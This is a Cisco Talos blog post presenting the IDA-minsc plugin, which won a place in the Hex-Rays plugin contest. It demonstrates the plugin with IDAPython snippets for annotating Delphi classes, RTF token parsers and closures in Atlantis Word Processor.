Quantcast
Channel: Cisco Talos Blog
Viewing all 2026 articles
Browse latest View live

IDA-minsc Wins Second Place in Hex-Rays Plugins Contest

$
0
0

Introduction


Ali Rizvi-Santiago of Cisco Talos recently tied for second place in the IDA plugin contest with a plugin named "IDA-minsc." IDA is a multi-processor disassembler and debugger created by the company Hex-Rays and this year there were a total of four winners with nine submissions total. Every year, the company invites researchers to submit plugins that improve their products, and Talos determined that IDA-minsc would improve users' experience enough that it deserved consideration for this year's awards.

This plugin aims to make it easier for people to reverse and annotate binaries. We believe that this plugin expedites the annotation process and allows the user to work more efficiently. This is done by introducing a few concepts that change the way most users develop Python, which allows the user to treat the parts that they are reversing as more of a dataset that can be used to query and annotate as they see fit. This, combined with the plugin's various components that automatically determine a function's parameters based on the user's current selection, allows the user to very quickly write code that can be used to mark and annotate the different parts of the database.

The plugin itself is hosted here with detailed documentation here. Below, we will demonstrate the capabilities of this plugin by reversing Atlantis Word Processor, a document creator coded in Borland Delphi. This blog will outline how to quickly tag any objects that are constructed for querying, how to identify tokens belonging to the RTF parser and their attributes, and then how to deal with closures that reference variables defined in other functions.. All the capabilities described below can be found within the document linked to above, or by calling Python's `help()` function on the namespace or the module directly.

Background


IDAPython is essentially a wrapper around the IDA SDK, which results in separate modules directly corresponding to the way in which the different components of IDA were implemented. The modules used in IDA 6.95 were too complex for a user to familiarize themselves with. IDAPython quickly fixed this by implementing a number of higher-level functions. However, the new modules were too generically named and required previous knowledge of the IDC scripting language. When writing this new plugin, we found that we could group the various components and functions used into separate modules, making it easier to recall and immediately reference them. There are various other modules available in this plugin, but the main feature is the two "contexts" that IDA-minsc started with. Inside each of these modules are class definitions with static methods that are used as "namespaces" to group functions together that act on similar data or with similar semantics.

Creating the initial database


When first opening the "awp.exe" file in Atlantis Word Processor, IDA will begin to process it. Once IDA has finished its processing, the plugin will kick in and begin to build its tag cache. The tag cache is utilized specifically for tagging and querying tags. During this process, the plugin will iterate through all of the comments available in the database, while updating an internal cache and showing its progress. Once this is complete, the user may begin the reversing process.

Tagging all the classes and their sizes


All Delphi applications will typically include a class called "TObject." This class can be inherited by a number of classes and we can utilize this to find "System.New," which is generally used as a constructor. To start out, we'll use IDA-minsc to list all symbol names that reference "TObject." This is the same as using IDA's "Names" window (Shift+F4), but uses IDA-minsc's matching component to specify different keywords for filtering IDA's different windows.

    Python>db.names.list(like='*TObject')
[ 0] 0x4010b0 _cls_System_TObject
[ 382] 0x4058e4 GetCurrentObject
[ 408] 0x4059b4 SelectObject
[11340] 0x67d658 __imp_SelectObject
[11366] 0x67d6c0 __imp_GetCurrentObject
If we double-click the address or symbol for "_cls_System_TObject," IDA will then navigate to the the specified address. This will then look like Figure 1 below, which represents our "TObject." If we cross-reference this (Ctrl+X) we can see that this string is referenced by an address right next to it at 0x401070. This represents the actual class definition in Delphi. This address is what is referenced by classes that inherit "TObject."
Figure 1
Once we have this address, we can again grab its references to see all the classes that inherit "TObject" — it appears that there's about 122 of them. If we pick one at random, we'll see what looks like some kind of structure. This structure begins with a self-reference, and includes a number of functions that can be called. In Delphi, this self-reference is used to distinguish between default functions that are used to control the object's scope and functions. If we follow this reference, then the functions above it are related to the standard library, whereas the ones that follow are custom implemented methods.

Figure 2

Since the three functions in Figure 2 are related to the standard library, we can see they perform a few tasks if we look over them one-by-one. The third function at address 0x406dec seems to call "CloseHandle," so this is likely a destructor. The first function at address 0x406De4 is typically the constructor. If we select this function and list the references that use it (X), we can see it has 473 references. We're going to use these references to find each class and label them. Before we do that, however, let's take a look in detail at this structure:

CODE:00406DAE 8B C0                                 align 10h
CODE:00406DB0 F0 6D 40 00 off_406DB0 dd offset off_406DF0 ; [1]
CODE:00406DB0
CODE:00406DB4 00 00 00 00 00 00+ dd 7 dup(0)
CODE:00406DD0 F8 6D 40 00 dd offset str.TThread ; [3] "TThread"
CODE:00406DD4 28 00 00 00 dd 28h ; [5]
CODE:00406DD8 70 10 40 00 dd offset off_401070
CODE:00406DDC 38 2A 40 00 dd offset sub_402A38
CODE:00406DE0 40 2A 40 00 dd offset nullsub_9
CODE:00406DE4 98 28 40 00 dd offset sub_402898 ; Constructor
CODE:00406DE8 AC 28 40 00 dd offset sub_4028AC ; Finalizer
CODE:00406DEC E8 A9 40 00 dd offset sub_40A9E8 ; Destructor
CODE:00406DF0 38 AA 40 00 off_406DF0 dd offset loc_40AA38 ; [2]
CODE:00406DF4 C4 25 40 00 dd offset nullsub_11
CODE:00406DF8 07 54 54 68 72 65+ str.TThread db 7,'TThread' ; [4]
CODE:00406E00 04 6E 40 00 off_406E00 dd offset byte_406E04

As mentioned before, this structure contains a self-reference at [1]. This reference is labelled by IDA since it is used by functions within the database. This reference is used specifically to get to [2] in order to locate the "Constructor," "Finalizer," and "Destructor" of the class. Also, near the beginning at [3], is a pointer to a string. This string represents the class name and its contents that are located at [4]. The format of this string is the same as in Pascal, which begins with a single-byte length, followed by the number of bytes representing the string. Finally, at [5] there is the length of the class. This represents the size that is needed to be allocated in order to store its members. To start out, let's quickly define a function that will set a pascal-style string at the IDAPython command line.

To do this, we will use the `database.set.integer` namespace to make the first byte a `uint8_t` for the length. For the rest of the string, we'll use `database.set.string` with the length to turn the address into a string of the specified length.

Python>def set_pascal_string(ea):
Python> ch = db.set.i.uint8_t(ea)
Python> return db.set.string(ea + 1, ch)
After this is done, we can then use `database.get.string` to read it back if we want.
Despite the `database.set` namespace returning the values that have been created, we can do the inverse of the code specified above with the following.

Python>def get_pascal_string(ea):
Python> ch = db.get.i.uint8_t(ea)
Python> return db.get.string(ea + 1, length=ch)
Now we can type in the following to read a string at that address:

Python>print get_pascal_string(0x406df8)
TThread
Now that we can both fetch and apply strings which will give us the name, we can use this name to label the class. To do this, we're going to use all of the references of the constructor and use each reference to calculate the different fields for all the classes. Afterward, we will use tags to mark all of the different objects so we can query them later, if necessary. To begin, first we'll double-click on the "Constructor" at address 0x406de4. This should take us to the function "sub_402898." Since we have an idea what this function is, let's just name this with the following:

Python>func.name('System.New')
sub_402898
If you notice, we did not provide an address. We assume the current function since an address was not provided. This is the "multicased" functions component of IDA-minsc. If we run `help()` against `function.name`, we can see what other variations there are:

Python>help(function.name)
Help on function name in module function:
name(*arguments, **keywords)
name() -> Return the name of the current function.
name(string=basestring, *suffix) -> Set the name of the current function to ``string``.
name(none=NoneType) -> Remove the custom-name from the current function.
name(func) -> Return the name of the function ``func``.
name(func, none=NoneType) -> Remove the custom-name from the function ``func``.
name(func, string=basestring, *suffix) -> Set the name of the function ``func`` to ``string``.
Now that we have named the function, we're going to iterate through all of its references and grab its different fields. As a reference to the fields that we described above, we have the following layout:

CODE:00406DAE 8B C0                                 align 10h
CODE:00406DB0 F0 6D 40 00 off_406DB0 dd offset off_406DF0 ; [6] Top of class or Info (Reference - 16*4)
CODE:00406DB0
CODE:00406DB4 00 00 00 00 00 00+ dd 7 dup(0)
CODE:00406DD0 F8 6D 40 00 dd offset str.TThread ; [7] Class name (Reference - 8*4)
CODE:00406DD4 28 00 00 00 dd 28h ; [8] Class size (Reference - 7*4)
CODE:00406DD8 70 10 40 00 dd offset off_401070 ; [9] Parent class (Reference - 6*4)
CODE:00406DDC 38 2A 40 00 dd offset sub_402A38
CODE:00406DE0 40 2A 40 00 dd offset nullsub_9
CODE:00406DE4 98 28 40 00 dd offset sub_402898 ; [10] Constructor (Reference - 3*4)
CODE:00406DE8 AC 28 40 00 dd offset sub_4028AC ; [11] Finalizer (Reference - 2*4)
CODE:00406DEC E8 A9 40 00 dd offset sub_40A9E8 ; [12] Destructor (Reference - 1*4)
CODE:00406DF0 38 AA 40 00 off_406DF0 dd offset loc_40AA38 ; [13] * Reference
CODE:00406DF4 C4 25 40 00 dd offset nullsub_11
CODE:00406DF8 07 54 54 68 72 65+ str.TThread db 7,'TThread'
CODE:00406E00 04 6E 40 00 off_406E00 dd offset byte_406E04
With this layout, we can extract the different components of all of the classes that reference our constructor and tag them in order to query later. Since earlier we double-clicked on the constructor and then named it, we should currently be in the "System.New" function. To grab all of the references, we can use `function.up()`. We will then iterate through all of its references, add 0xc (3 * 4 == 12) to get to the reference at [13], and then use it to locate the rest of the fields. For the class name [7] we will use both our `set_pascal_string` and `get_pascal_string` functions, and for the standard scoping constructs [10], [11], and [12] we will descend into them and tag them with their "type". This results in the following code. The following code could be done much shorter, but is expanded for readability.

Python>for ea in func.up():
Python> ref = ea + 3*4 # [13] calculate address to reference
Python>
Python> # read our fields
Python> lookup = {}
Python> lookup['info'] = ref - 16*4 # [6]
Python> lookup['name'] = ref - 8*4 # [7]
Python> lookup['size'] = ref - 7*4 # [8]
Python> lookup['parent'] = ref - 6*4 # [9]
Python> lookup['constructor'] = ref - 3*4 # [10]
Python> lookup['finalizer'] = ref - 2*4 # [11]
Python> lookup['destructor'] = ref - 1*4 # [12]
Python> lookup['object'] = ref # [13]
Python>
Python> # dereference any fields that need it
Python> name_ea = db.get.i.uint32_t(lookup['name'])
Python> parent_ea = db.get.i.uint32_t(lookup['parent'])
Python> size = db.get.i.uint32_t(lookup['size'])
Python>
Python> # set our name (just in case IDA has it defined as something else)
Python> set_pascal_string(name_ea)
Python>
Python> # decode our name
Python> name = get_pascal_string(name_ea)
Python>
Python> # name our addresses
Python> db.name(lookup['info'], 'gv', "Info({:s})".format(name))
Python> db.name(lookup['object'], 'gv', "Object({:s})".format(name))
Python>
Python> # tag our methods
Python> m_constructor = db.get.i.uint32_t(lookup['constructor'])
Python> func.tag(m_constructor, 'function-type', 'constructor')
Python> m_finalizer = db.get.i.uint32_t(lookup['finalizer'])
Python> func.tag(m_finalizer, 'function-type', 'finalizer')
Python> m_destructor = db.get.i.uint32_t(lookup['destructor'])
Python> func.tag(m_destructor, 'function-type', 'destructor')
Python>
Python> # tag our class structure
Python> db.tag(lookup['info'], 'object.name', name)
Python> db.tag(lookup['info'], 'object.methods', lookup['object'])
Python> db.tag(lookup['info'], 'object.size', size)
Python> if parent_ea:
Python> db.tag(lookup['info'], 'object.parent', parent_ea)
Python> continue
This will result in all of the Delphi objects in the database being tagged. Tags will utilize the comments in the database so while a user is reversing they can immediately see what the tags associated with a given address may look like. After executing the previous code at the IDAPython command line, the "TThread" object will have the appearance shown in Figure 3.
Figure 3

After executing this large block of code, every object in the database should be tagged. This will then allow us to query the database using `database.select()` in order to find a class of a particular size. Please review the `help()` for `database.select` for more information. An example of doing using this to find an object size of 0x38 can be:
Python>for ea, tags in db.select(Or=('object.name', 'object.size')):
Python> if tags['object.size'] == 0x38:
Python> print hex(ea), tags
Python> continue

Enumerating RTF tokens


Atlantis Word Processor contains an RTF parser. This file format is well-known, so it's easy to identify the tokens that it supports and hopefully find the function responsible for parsing each token's parameters. To do this, we will first search for the "objemb" string, which is hopefully defined within an array. To start out, we could use IDA's text search (Alt+T) but let's instead use functionality provided by IDA-minsc via the `database.search` namespace combined with the `go()` function to immediately navigate to it.

Python>go(db.search.by_text('objemb'))

This takes us directly to the first instance of the "objemb" string. If we cross-reference this (Ctrl+X), it turns out that there's only one reference that uses it. This takes us to the following list of string references in Figure 4.
Figure 4

Since this doesn't have a reference, let's quickly navigate to the previous defined label that IDA has made. This label will exist due to IDA having disassembled code that references that particular address. To do this, we can use functionality within the `database.address` namespace. These are the `nextlabel()` and `prevlabel()` functions. We can use them by typing the following at the IDAPython command line:

Python>go(db.a.prevlabel())
This data appears to be an array, but IDA has not made it one. We can hit '*' to bring up IDA's "Convert to array" dialog, but instead, we can use IDA-minsc. We will use `database.address.nextlabel()` and `database.here()` (aliased as `h()`) to calculate the number of elements of the array, and then assign it into the database using `databaset.set.array()`. The `database.set.array` function takes a "pythonic" type as one of its parameters. This is described within the documentation for IDA-minsc and allows us to describe a type in IDA without needing to understand the correct flags, or typeid. In this case we can use `(int, 4)` to specify a four-byte integer (dword), but since this is a 32-bit database, we can just use the default integer size by using `int`.

Python>size = (db.a.nextlabel() - h())
Python>db.set.array(int, size / 4)
Let's also name the array at the current address as well by using `database.name()`:

Python>db.name('gv', "rtfTokenArray({:d})".format(db.t.array.length()))
However, it looks like some of this array's elements weren't marked by IDA as actual strings as in Figure 5:
Figure 5

We can quickly fix this by iterating through all the addresses in this array, undefining the address, and then re-defining it as a string in the same way one would do it manually. This can be done with the following at the IDAPython command line:

Python>for ea in db.get.array():
Python> db.set.undefined(ea)
Python> db.set.string(ea)
Now we have this array fixed. If we navigate back to the top, we'll notice that this array is contiguous with a number of arrays. Let's fix up the one above this array first and save our current position in a variable `position`, and then use `database.address.prevlabel()` to get there. Once there, we can do the same as we did for the first array.
Python>position = h()
Python>
Python>go(db.a.prevlabel())
Python>
Python>db.set.array(int, (db.a.nextlabel() - h()) / 4)
Python>db.name('gv', "rtfTokenArray({:d})".format(db.t.array.length()))
Python>for ea in db.get.array():
Python> db.set.undefined(ea)
Python> db.set.string(ea)
Now we can return to our previously saved position and repeat the process for the next two arrays:

Python>go(position)
Python>
Python>go(db.a.nextlabel())
Python>
Python>db.set.array(int, (db.a.nextlabel() - h()) / 4)
Python>db.name('gv', "rtfTokenArray({:d})".format(db.t.array.length()))
Python>for ea in db.get.array():
Python> db.set.undefined(ea)
Python> db.set.string(ea)
Python>
Python>go(db.a.nextlabel())
Python>
Python>db.set.array(int, (db.a.nextlabel() - h()) / 4)
Python>db.name('gv', "rtfTokenArray({:d})".format(db.t.array.length()))
Python>for ea in db.get.array():
Python> db.set.undefined(ea)
Python> db.set.string(ea)
Now that it's done, we can list all of the arrays that we've made using the `database.names` namespace. Let's list all of the symbols that begin with "gv_rtfToken". From this list, let's look at the first array we defined ("gv_rtfTokenArray(213)") and double-click on its address.

Python>db.names.list('gv_rtfToken*')
[11612] 0x668ba8 gv_rtfTokenArray(64)
[11613] 0x668ca8 gv_rtfTokenArray(213)
[11614] 0x668ffc gv_rtfTokenArray(46)
[11615] 0x6690b4 gv_rtfTokenArray(135)
Now we should be at the definition of "gv_rtfTokenArray(213)". If we cross-reference this (Ctrl+X) we can see that there's only one code reference to it at the address 0x431DD7 ([14]).
CODE:00431DD7 000 A1 A8 8C 66 00                    mov     eax, ds:gv_rtfTokenArray(213)   ; [14]
CODE:00431DDC 000 A3 EC 85 67 00 mov ds:dword_6785EC, eax ; [15]
CODE:00431DE1 000 C7 05 F0 85 67 00+ mov ds:dword_6785F0, 4
CODE:00431DEB 000 C7 05 F4 85 67 00+ mov ds:dword_6785F4, 4
CODE:00431DF5
CODE:00431DF5 locret_431DF5:
CODE:00431DF5 000 C3 retn
CODE:00431DF5 sub_431D38 endp
This instruction reads the token array address and then writes it to another global at [15]. Since this is just a pointer to our array, let's name this address, as well. Rather than using IDA's "Rename address" dialog, or double-clicking on "dword_6785EC" and then using `database.name` with the current address, we'll actually extract the address directly from the instruction's operand. This can be done via the `instruction.op` function. If we select the address 0x431ddc, our global token array will reside in the first operand of the current instruction. We can extract its operand as a named tuple at the IDAPython command line with:

Python>ins.op(0)
OffsetBaseIndexScale(offset=6784492L, base=None, index=None, scale=1)
Since we didn't provide an address as the first parameter to `instruction.op`, it will assume that we're referring to the current instruction. The "offset" field of the named tuple contains the address to our dword. So, we can use the following to name this pointer with the same address selected. Due to this address already having a name of "dword_6785EC", the `database.name` function will return the original name.

Python>ea = ins.op(0).offset
Python>db.name(ea, 'gp','rtfTokenArray(213)')
dword_6785EC

This same function does the same assignment to a global pointer for all of the arrays that we have previously defined. We can repeat this process to name all of them, and then cross-reference them to locate the RTF tokenizer. For now, let's prepare before we get to that point. Our preparations will simply involve going back to our arrays of tokens and extracting the strings from them. We already have these named, so we can list them with the following:

Python>db.names.list('gv_rtfToken*')
[11612] 0x668ba8 gv_rtfTokenArray(64)
[11613] 0x668ca8 gv_rtfTokenArray(213)
[11614] 0x668ffc gv_rtfTokenArray(46)
[11615] 0x6690b4 gv_rtfTokenArray(135)
However, we're going to want to iterate through this list. The `database.names` namespace includes an `iterate()` function for specifically this purpose. We can use this combined with `database.get.array()` to store the arrays as a single list. At the IDAPython command line, we'll execute the following:

Python>tokens = []
Python>for ea, name in db.names.iterate('gv_rtftoken*'):
Python> rtfTokenArray = db.get.array(ea)
Python> tokens.extend(rtfTokenArray)
Python>
Python>len(tokens)
458
We have a single list of 458 addresses that point to the actual RTF tokens. We'll convert this to a list of strings using a quick list comprehension to map the addresses to a string. Now we can convert a token identifier to its actual token string.

Python>tokens = [db.get.string(ea) for ea in tokens]

Finding the RTF token parameter parsers


At this point, we should still be within "sub_431D38." Although we can probably cross-reference (Ctrl+X) some of the pointers to our token arrays that are assigned here and eventually get to a function that processes our tokens and their arguments, there might be a way to make this easier. We can tag all of the switches for each function in the database. While we're at it, let's count the number of cases of each switch so we can quickly query the functions that have the most cases. We can use `function.switches()` to enumerate all of the switches within a function. This allows us to iterate through all of the switches defined within a function and return an instance of IDA-minsc's `switch_t` that we can use to calculate the total number of non-default cases. To do this, let's first define a function that will tag the number of switches and the total count of cases for a function.

Python>def tag_switches(ea):
Python> count, total = 0, 0
Python> for sw in func.switches(ea):
Python> count += 1
Python> total += len(sw.cases)
Python> if count > 0:
Python> func.tag(ea, 'switch.count', count)
Python> func.tag(ea, 'switch.cases', total)
Python> return
Now that we have defined a function that can tag a function in the IDA database with the tags "switch.count" for the number of switches and "switch.cases" for the total number of cases, we can apply this to each function within the database so we can query this later. Let's iterate through all the functions using `database.functions()` via the following:

Python>for ea in db.functions():
Python> tag_switches(ea)
This might take a while, so, it'd be helpful if we can see the current progress. There's a tool provided by IDA-minsc within the "tools" module that we can use. This is `tools.map`, and takes a callable as its parameter. To use this, we can use the following, if we prefer:

Python>_ = tools.map(tag_switches)
Now that we have each function with any switches tagged, we can query the entire database in order to sort them. Although we can use the "key" keyword of Python's `sorted` function, we'll just organize our query results so that the first entry is the total number of switches belonging to each function. Afterward, we'll sort them using `sorted`, and then look at the last element which should have the most cases.

Python>results = []
Python>for ea, tags in db.select('switch.cases'):
Python> results.append( (tags['switch.cases'], ea) )
Python>
Python>results = sorted(results)
Python>len(results)
162
Now that we have a sorted list of all of the functions that have the most switches, we can look at the last element to see what we found. Let's extract the address from the last result, and then navigate to it (Figure 6).

Python>results[-1]
(294, 5797552)
Python>_, ea = results[-1]
Python>go(ea)
Figure 6

It looks like we got lucky and found something that looks like a parser, or really a tokenizer that has a switch with a bunch of cases. Let's double-check our switch count via a call to `function.tag()`.

Python>print func.tag('switch.count')
1
It appears that there's only one switch. Let's grab our switch so we can see what cases it has. To do this, click on the address of its main branch at 0x5876d1. Now that it's selected, we don't need to pass an address to `database.get.switch()` and can instead let it use the current address. We'll store this into the "sw" variable.

Python>sw = db.get.switch()
Python>sw
<type 'switch_t{456}' at 0x5876c5> default:*0x58af5c branch[456]:*0x5876d8 register:edx
Let's see how many cases and default cases are within this switch. We'll calculate the number of default cases by taking its total length, and subtracting the length of its valid cases.

Python>print 'number of cases:', len(sw)
number of cases: 456
Python>print 'number of default cases:', len(sw) - len(sw.cases)
number of default cases: 162
To make it easier for us to identify the token associated with a particular case, we can simply tag each case with the token we stored in our "tokens" list. The list of available cases is in the "cases" property of our "sw" variable. We can simply call its ".case()" method in order to get the handler for a particular case. We will use these attributes to tag each case handler with a "token" tag containing the token from our "tokens" list that we assigned above.

Python>for case in sw.cases:
Python> handler = sw.case(case)
Python> db.tag(handler, 'token', tokens[case])
One issue with this, however, is that more than one token can be handled by each case. This requires grabbing the cases that are handled by each handler. To do this, we can use the "handler" method of our "sw" variable that we assigned. We'll use "function.select" to select all of the handlers that we tagged, then grab the cases for each handler, and then re-tag the handler with the tokens that it's responsible for. Although `function.select()` takes a function address as its parameter, since we want to query the current function, its address is not needed.

Python>for ea, tags in func.select('token'):
Python> toks = []
Python> for case in sw.handler(ea):
Python> toks.append( tokens[case] )
Python> db.tag(ea, 'token', toks)
This results in the list of tokens handled by each case being tagged with the name "token." If we ever need to locate the handlers again or the tokens that are handled by each case, we can simply use `function.select` again to grab them. In Figure 7, the handler for cases 66, 68, 69, 183, and 427 has a number of tokens associated with it.
Figure 7

The next thing we're going to do is iterate through each of the addresses that we've tagged with "token" in order to find the first call instruction. We'll also look for an unconditional branch since we'll assume that if an unconditional branch is found, then the handler is done and branching outside of the switch. To identify an unconditional branch or call instruction, we will use the "instruction" module. Inside this module are the functions `instruction.is_jmp` and `instruction.is_call`. To find the "next" instructions that match one of these, we will use a variation of `database.address.next` that takes a predicate. Now although this might not produce 100 percent accurate results, we are going to go through this manually later. Therefore, accuracy isn't too important in this situation. So, let's query our handlers with `function.select` and then tag the handler's address with the target of its first call instruction using the tag name "rtf-parameter."

Python>for ea, tags in func.select('token'):
Python> next_call = db.a.next(ea, lambda ea: ins.is_jmp(ea) or ins.is_call(ea))
Python> if ins.is_call(next_call):
Python> db.tag(ea, 'rtf-parameter', ins.op(next_call, 0))
Python> elif ins.is_jmp(next_call):
Python> print "found an unconditional branch with the target: {:x}".format(ins.op(next_call, 0))
Python> continue
A number of unconditional branches were listed that don't really matter to us. So let's query what results were tagged as the first call instruction.

Python>found = set()
Python>for ea, tags in func.select('rtf-parameter'):
Python> found.add(tags['rtf-parameter'])
Python>
Python>found
set([4397600, 6556480, 4226632, 5797484, 5797008, 4226316, 4226640, 4397688, 5797216, 4226452, 5796288, 5797400, 5767988, 6487132])
Unfortunately, these numbers aren't useful, so let's map them to names so we can click on them.

Python>map(func.name, found)
['sub_431A20', 'sub_640B40', 'sub_407E48', 'sub_58766C', 'sub_587490', 'sub_407D0C', 'sub_407E50', 'sub_431A78', 'sub_587560', 'sub_407D94', 'sub_5871C0', 'sub_587618', 'sub_580334', 'sub_62FC5C']
After manually going through each one and very quickly looking for things that stand out, a quick summary of their results could be:

  • sub_431A20 — looks like it does something with numbers and a hyphen, probably a range?
  • sub_640B40 — no idea what this is
  • sub_407E48 — fetches some property from an object and doesn't call anything
  • sub_58766C — looks too complex for me to care about
  • sub_587490 — looks too complex for me to care about
  • sub_407D0C — fetches some property from an array using an index
  • sub_407E50 — fetches some property from an array using an index
  • sub_431A78 — calls two functions, first one does something with spaces second one is the first in this list which does stuff with numbers and a hyphen
  • sub_587560 — looks complex, but calls some string-related stuff
  • sub_407D94 — calls a function that does some allocation, probably allocating for a list
  • sub_5871C0 — references a few characters that look rtf specific like a "{", backslash "\" and a single quote
  • sub_587618 — calls a couple functions that are currently in this list
  • sub_580334 — calls a couple functions that are currently in this list
  • sub_62FC5C — looks like it resizes some object of some kind


Going back through this list of notes, it appears that sub_431A20, sub_431A78, sub_5871C0, and sub_587618 seem to be parsing-related. Let's take this list of functions and convert them back into addresses. This way we can store them in a set and see which cases belonging to our switch are using them. So first, we'll convert the function names back into addresses using `function.address()`.

Python>res = map(func.address, ['sub_431A20', 'sub_431A78', 'sub_5871c0', 'sub_587618'])
Python>match = set(res)
Now that we have a set to match with, let's collect all of the cases along with the "rtf-parameter" that it calls. We'll also output the cases that it handles in case we want to visit them individually.

Python>cases = []
Python>for ea, tags in func.select('rtf-parameter'):
Python> if tags['rtf-parameter'] in match:
Python> print hex(ea), sw.handler(ea)
Python> for i in sw.handler(ea):
Python> cases.append((i, func.name(tags['rtf-parameter'])))
Python> continue
Python> continue
Python>
Python>len(cases)
116
Let's take a few random samples out of this list and see what tokens these point to and identify the first function call that was made to handle each token. From taking a few random samples, it looks like a large number of them call the function "sub_431A20". We determined that this function seems to process a number which can include a hyphen. When executing the following at the IDAPython command line we can see that cases 246, 100, and 183 call this function and represent the following tokens.

Python>cases[246]
(246, 'sub_431A20')
Python>cases[100]
(100, 'sub_431A20')
Python>cases[183]
(183, 'sub_431A20')
Python>
Python>tokens[246], tokens[100], tokens[183]
('margt', 'colsx', 'highlight')
If we refer to the documentation for the RTF file format, it seems that these tokens ('\margt', '\colsx', and '\highlight') take a number as its parameter. We can safely assume that "sub_431A20" is responsible for processing a numerical parameter that follows an RTF token. Let's tag this now so we can look at another function and try to determine what parameter type it might take.

Python>func.tag(0x431a20, 'synopsis', 'parses a numerical parameter belonging to an rtf token')
Let's just dump what's left in our "cases" list that we made above so we can quickly see what what functions we haven't figured out yet. Let's also include the token name so that we can quickly reference the file format specification to determine what type of parameter it might take.

Python>for i, name in cases:
Python> if name != 'sub_431A20':
Python> print i, tokens[i], name
Python> continue
27 b sub_587618
63 caps sub_587618
105 contextualspace sub_431A78
114 deleted sub_431A78
123 embo sub_587618
186 hyphauto sub_431A78
187 hyphcaps sub_431A78
190 hyphpar sub_431A78
191 i sub_587618
193 impr sub_587618
232 listsimple sub_431A78
270 outl sub_587618
346 scaps sub_587618
363 shad sub_587618
373 strike sub_587618
423 u sub_5871C0
426 ul sub_431A78
Looking at the documentation for the "\b", "\caps", and "\i" tags tells us that these tags can take an optional "0" as a parameter to turn them off. So we can assume that "sub_587618" is a function used to process a parameter that is used to toggle these tokens. Let us tag this function as well.

Python>func.tag(0x587618, 'synopsis', 'parses an rtf parameter that can be toggled with "0"')
The other tokens that stand out in the list that we emitted is the "\hyphauto", "\hyphcaps", and "\hyphpar" tokens. These tokens take a single numerical parameter that is either a "1" or a "0" to toggle it. This is also a toggle, but this parameter is required. Let's tag this with our newfound knowledge

Python>func.tag(0x431a78, 'synopsis','parses an rtf parameter that can be toggled with "0" or "1"')
Now that we've identified the semantics of a number of these functions, we've quickly identified what tokens are supported by Atlantis and can use this information to generate a grammar that can be used to fuzz this particular target.

Dealing with closures


In Delphi 2009, a new feature known as "Anonymous Methods" was introduced. This feature introduces support for closures in the Delphi programming language. Closures will capture the local variables of the block that encompasses it. This allows for the code within a closure to actually be able to modify variables belonging to a completely different function.

In the assembly generated by Delphi, this will look like Figure 8 and will involve passing the frame pointer in the `%ebp` register as the argument to a function. This is so the function can dereference the pointer and use it to calculate the address of the local variable of the frame that is being referenced.
Figure 8

This can be hectic for the reverser as in some cases the local variables typically initialized in a completely different function. To track this with a debugger, a reverse-engineer might try to determine the scope of the variable and then use a hardware breakpoint to identify the first function that writes to it. If a reverser is doing this statically, however, this can very quickly become a difficult problem to overcome on a large scale.

Usage of these local variables might look like the following code. At [16], the frame is extracted from an argument and stored into the `%eax` register. This is repeated a number of times at [17], and [18] to walk up the stack dereferencing the frame pointer of each caller. Finally at [19], the local variable of the frame that was determined is then fetched. In Atlantis, this type of construct is very common and can be difficult for one to manage.

CODE:0058BED8 018 8B 55 FC                          mov     edx, [ebp+var_4]
CODE:0058BEDB 018 8B 45 08 mov eax, [ebp+arg_0] ; [16]
CODE:0058BEDE 018 8B 40 08 mov eax, [eax+8] ; [17]
CODE:0058BEE1 018 8B 40 08 mov eax, [eax+8] ; [18]
CODE:0058BEE4 018 8B 40 E8 mov eax, [eax-18h] ; [19]
CODE:0058BEE7 018 8B 88 64 05 00 00 mov ecx, [eax+564h]
CODE:0058BEED 018 8B 45 08 mov eax, [ebp+arg_0]
CODE:0058BEF0 018 8B 40 08 mov eax, [eax+8]
CODE:0058BEF3 018 8B 40 08 mov eax, [eax+8]
CODE:0058BEF6 018 8B 40 E8 mov eax, [eax-18h]
CODE:0058BEF9 018 E8 12 39 07 00 call sub_5FF810
CODE:0058BEFE 018 84 C0 test al, al
CODE:0058BF00 018 75 0C jnz short loc_58BF0E
However, with IDA-minsc we can tag the functions that store their caller's frame in an argument, and the address of the function that each frame belongs to. This way we can then identify the frame member that an instruction similar to [19] references. To do this, we will use two tag names. These will be, "frame-avar" for storing the name of the argument that contains the caller's frame, and "frame-lvars" for storing the address of the function that the referenced frame belongs to. If we refer to Figure 8, at address 0x590a32, the function "sub_590728" is passing its frame as an argument to the call instruction at 0x590a33. If we descend into this function call by double-clicking on it, IDA will navigate us to the very top of the function named "sub_58BE98". This function has only one caller, and if we view its references (Ctrl+X) it will list the address that we just navigated from. Knowing this, we can tag this function with the address of its caller.
Python>callers = func.up()
Python>caller = callers[0]
Python>func.tag('frame-lvars', caller)
To make it easier to identify the argument, let's name the argument as "ap_frame_0" using the "Stack Variable Rename" dialog. This can be done by selecting "arg_0" and then hitting the "n" character. After renaming the variable to "arg_0". We will again use tagging to store the argument name as "frame-avar". This way if we wish to identify the argument that contains the frame we can extract it using the "frame-avar" tag.

Python>func.tag('frame-avar', 'ap_frame_0')
After doing this, the function will look like the following code. We can now iterate through any references to the "ap_frame_0" argument variable, and then tag them with the value found in the "frame-lvars" tag.
CODE:0058BE98                       ; [frame-avar] ap_frame_0
CODE:0058BE98 ; [frame-lvars] 0x590a33
CODE:0058BE98 ; Attributes: bp-based frame
CODE:0058BE98
CODE:0058BE98 sub_58BE98 proc near
CODE:0058BE98
CODE:0058BE98 var_4 = dword ptr -4
CODE:0058BE98 ap_frame_0 = dword ptr 8
CODE:0058BE98
To do this, we will use the `function.frame()` function to grab the frame as a structure. Once this is done, we can then fetch the member that represents the "ap_frame_0" variable. This structure member can then be used to enumerate all the references to it within the current function.

Python>f = func.frame()
Python>f.members
<type 'structure' name='$ F58BE98' size=+0x10>
[0] -4:+0x4 'var_4' (<type 'int'>, 4)
[1] 0:+0x4 ' s' [(<type 'int'>, 1), 4]
[2] 4:+0x4 ' r' [(<type 'int'>, 1), 4]
[3] 8:+0x4 'ap_frame_0' (<type 'int'>, 4)
To then get the member, we can either use its index, or its name. In this case, we will reference it by name. Once the member is fetched, we can then proceed to call its `refs()` method to iterate through all the references to the member within the function.
Python>m = f.by('ap_frame_0')
Python>len(m.refs())
8
Python>for r in m.refs():
Python> print r
Python>
AddressOpnumReftype(address=5815998L, opnum=1, reftype=ref_t(r))
AddressOpnumReftype(address=5816027L, opnum=1, reftype=ref_t(r))
AddressOpnumReftype(address=5816045L, opnum=1, reftype=ref_t(r))
AddressOpnumReftype(address=5816066L, opnum=1, reftype=ref_t(r))
AddressOpnumReftype(address=5816087L, opnum=1, reftype=ref_t(r))
